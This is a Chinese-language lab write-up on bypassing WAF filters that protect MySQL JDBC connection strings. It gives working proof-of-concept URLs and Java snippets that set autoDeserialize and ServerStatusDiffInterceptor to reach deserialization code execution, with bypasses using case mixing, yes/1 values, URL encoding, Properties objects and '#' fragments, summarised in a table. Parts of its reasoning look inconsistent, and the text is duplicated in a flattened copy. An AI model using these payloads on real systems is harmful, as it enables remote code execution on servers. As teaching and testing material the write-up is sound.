征服 JDBC WAF:从防护到绕过的代码解析
字数 2348 2025-09-23 19:27:38

征服 JDBC WAF:从防护到绕过的代码解析

环境搭建

测试环境代码:https://github.com/Y4Sec-Team/mysql-jdbc-tricks
环境已加入 Commons Collections (CC) 依赖,用于反序列化漏洞利用。

JDBC 无过滤场景

基础环境为简单 JDBC 连接,无任何过滤措施,可直接触发反序列化漏洞。
利用方式:直接发送恶意序列化 payload 即可实现 RCE。


大小写绕过

防护机制

WAF 添加基础关键字过滤,但未处理大小写变异。
绕过方法:将关键参数改为大小写混合形式(如 autoDeserializeAutoDESerialize)。
实战价值:实际开发中可能存在疏忽,此类绕过仍具可行性。


关键字替换绕过

防护机制

WAF 过滤了 true 值,但未覆盖其他布尔表示形式(如 1yes)。
绕过方法

  • autoDeserialize=true 替换为 autoDeserialize=yesautoDeserialize=1
    POC
jdbc:mysql://target:3306/test?autoDeserialize=yes&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

成功触发计算器弹出。


URL 编码绕过

防护机制

WAF 进一步过滤 yestrue 等值,需深入代码层分析。

调试分析

  1. 入口点DriverManager.getConnection() 启动数据库连接。
  2. 参数解析:在 ConnectionString.parseUrl() 中解析 URL 参数。
  3. 关键流程
    • &=? 分割参数。
    • 对每个 key=value 进行 URL 解码(URLDecoder.decode())。
      结论:可通过 URL 编码绕过关键字检测。

POC

将参数值编码后传递:

jdbc:mysql://target:3306/test?autoDeserialize=%79%65%73&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

(注:%79%65%73yes 的 URL 编码)
成功触发计算器。


更换参数传入位置

防护机制

WAF 仅检测 URL 路径中的参数,未覆盖连接属性(Properties)。
绕过方法:通过 Properties 对象传递恶意参数:

Properties props = new Properties();
props.setProperty("autoDeserialize", "true");
props.setProperty("queryInterceptors", "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
DriverManager.getConnection("jdbc:mysql://target:3306/test", props);

此方式完全绕过 URL 参数检测。


利用 URL 注释符突破单参数限制

防护机制

WAF 限制额外参数传入,并对参数字符串进行检测。

绕过方法 1:控制其他参数

userpassword 参数中注入恶意值:

jdbc:mysql://target:3306/test?user=root&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

(注:需确保 userpassword 位置可控制)

绕过方法 2:MySQL 8.x 链替换

MySQL 8.x 无法使用 detectCustomCollations 链,需替换为 ServerStatusDiffInterceptor 链。
测试代码

String url = "jdbc:mysql://target:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection conn = DriverManager.getConnection(url, "root", "password");

成功触发计算器。

调试分析(MySQL 8.x)

  1. 参数解析:在 ConnectionString.getProperties() 中调用 parseQuerySection()
  2. 解码处理processKeyValuePattern() 对 key 和 value 均进行 URL 解码。
    结论:MySQL 8.x 仍可通过编码绕过。

URL 注释符注释绕过

防护机制

WAF 强制追加 autoDeserialize=false,阻断利用。

绕过方法

使用 URL 注释符 # 注释后续参数:

jdbc:mysql://target:3306/test?autoDeserialize=true#&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

(注:# 后的内容会被视为片段标识符,不被服务器处理)


?# 组合拳绕过

防护机制

WAF 检测 userpassword 中的恶意代码。

绕过方法

通过 ?# 构造参数分离:

jdbc:mysql://target:3306/test?user=root&password=root#&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

解析结果

  • 实际传递参数:user=rootpassword=root(避开检测)。
  • # 后的参数被注释,但客户端解析时仍生效。

Pass10:终极防护与绕过

防护机制

WAF 直接检测最终 URL 字符串,无解码或注释处理。
结论

  • MySQL Connector 6.x:无绕过方法。
  • MySQL Connector 8.x:仍可通过 URL 编码绕过(因解码在 WAF 之后)。

总结

防护方式 绕过方法 适用版本
大小写检测 大小写混合 所有
关键字值过滤 替换为 yes/1 所有
关键字值加强过滤 URL 编码 所有
参数位置检测 通过 Properties 传递 所有
单参数限制 注入到 user/password 所有
强制追加参数 # 注释 所有
全字符串检测 URL 编码(仅 8.x) MySQL 8.x

参考资源

  • https://github.com/Y4Sec-Team/mysql-jdbc-tricks
  • MySQL Connector 源码调试(关键类:ConnectionStringparseUrl

注意:实际利用需结合目标环境版本及 WAF 具体实现调整。

征服 JDBC WAF:从防护到绕过的代码解析 环境搭建 测试环境代码:https://github.com/Y4Sec-Team/mysql-jdbc-tricks 环境已加入 Commons Collections (CC) 依赖,用于反序列化漏洞利用。 JDBC 无过滤场景 基础环境为简单 JDBC 连接,无任何过滤措施,可直接触发反序列化漏洞。 利用方式 :直接发送恶意序列化 payload 即可实现 RCE。 大小写绕过 防护机制 WAF 添加基础关键字过滤,但未处理大小写变异。 绕过方法 :将关键参数改为大小写混合形式(如 autoDeserialize → AutoDESerialize )。 实战价值 :实际开发中可能存在疏忽,此类绕过仍具可行性。 关键字替换绕过 防护机制 WAF 过滤了 true 值,但未覆盖其他布尔表示形式(如 1 、 yes )。 绕过方法 : 将 autoDeserialize=true 替换为 autoDeserialize=yes 或 autoDeserialize=1 。 POC : 成功触发计算器弹出。 URL 编码绕过 防护机制 WAF 进一步过滤 yes 、 true 等值,需深入代码层分析。 调试分析 入口点 : DriverManager.getConnection() 启动数据库连接。 参数解析 :在 ConnectionString.parseUrl() 中解析 URL 参数。 关键流程 : 按 & 、 = 、 ? 分割参数。 对每个 key=value 进行 URL 解码( URLDecoder.decode() )。 结论 :可通过 URL 编码绕过关键字检测。 POC 将参数值编码后传递: (注: %79%65%73 为 yes 的 URL 编码) 成功触发计算器。 更换参数传入位置 防护机制 WAF 仅检测 URL 路径中的参数,未覆盖连接属性(Properties)。 绕过方法 :通过 Properties 对象传递恶意参数: 此方式完全绕过 URL 参数检测。 利用 URL 注释符突破单参数限制 防护机制 WAF 限制额外参数传入,并对参数字符串进行检测。 绕过方法 1:控制其他参数 在 user 或 password 参数中注入恶意值: (注:需确保 user 或 password 位置可控制) 绕过方法 2:MySQL 8.x 链替换 MySQL 8.x 无法使用 detectCustomCollations 链,需替换为 ServerStatusDiffInterceptor 链。 测试代码 : 成功触发计算器。 调试分析(MySQL 8.x) 参数解析 :在 ConnectionString.getProperties() 中调用 parseQuerySection() 。 解码处理 : processKeyValuePattern() 对 key 和 value 均进行 URL 解码。 结论 :MySQL 8.x 仍可通过编码绕过。 URL 注释符注释绕过 防护机制 WAF 强制追加 autoDeserialize=false ,阻断利用。 绕过方法 使用 URL 注释符 # 注释后续参数: (注: # 后的内容会被视为片段标识符,不被服务器处理) ? 与 # 组合拳绕过 防护机制 WAF 检测 user 和 password 中的恶意代码。 绕过方法 通过 ? 和 # 构造参数分离: 解析结果 : 实际传递参数: user=root 、 password=root (避开检测)。 # 后的参数被注释,但客户端解析时仍生效。 Pass10:终极防护与绕过 防护机制 WAF 直接检测最终 URL 字符串,无解码或注释处理。 结论 : MySQL Connector 6.x:无绕过方法。 MySQL Connector 8.x:仍可通过 URL 编码绕过(因解码在 WAF 之后)。 总结 | 防护方式 | 绕过方法 | 适用版本 | |-------------------|------------------------|----------------| | 大小写检测 | 大小写混合 | 所有 | | 关键字值过滤 | 替换为 yes / 1 | 所有 | | 关键字值加强过滤 | URL 编码 | 所有 | | 参数位置检测 | 通过 Properties 传递 | 所有 | | 单参数限制 | 注入到 user/password | 所有 | | 强制追加参数 | 用 # 注释 | 所有 | | 全字符串检测 | URL 编码(仅 8.x) | MySQL 8.x | 参考资源 : https://github.com/Y4Sec-Team/mysql-jdbc-tricks MySQL Connector 源码调试(关键类: ConnectionString 、 parseUrl ) 注意 :实际利用需结合目标环境版本及 WAF 具体实现调整。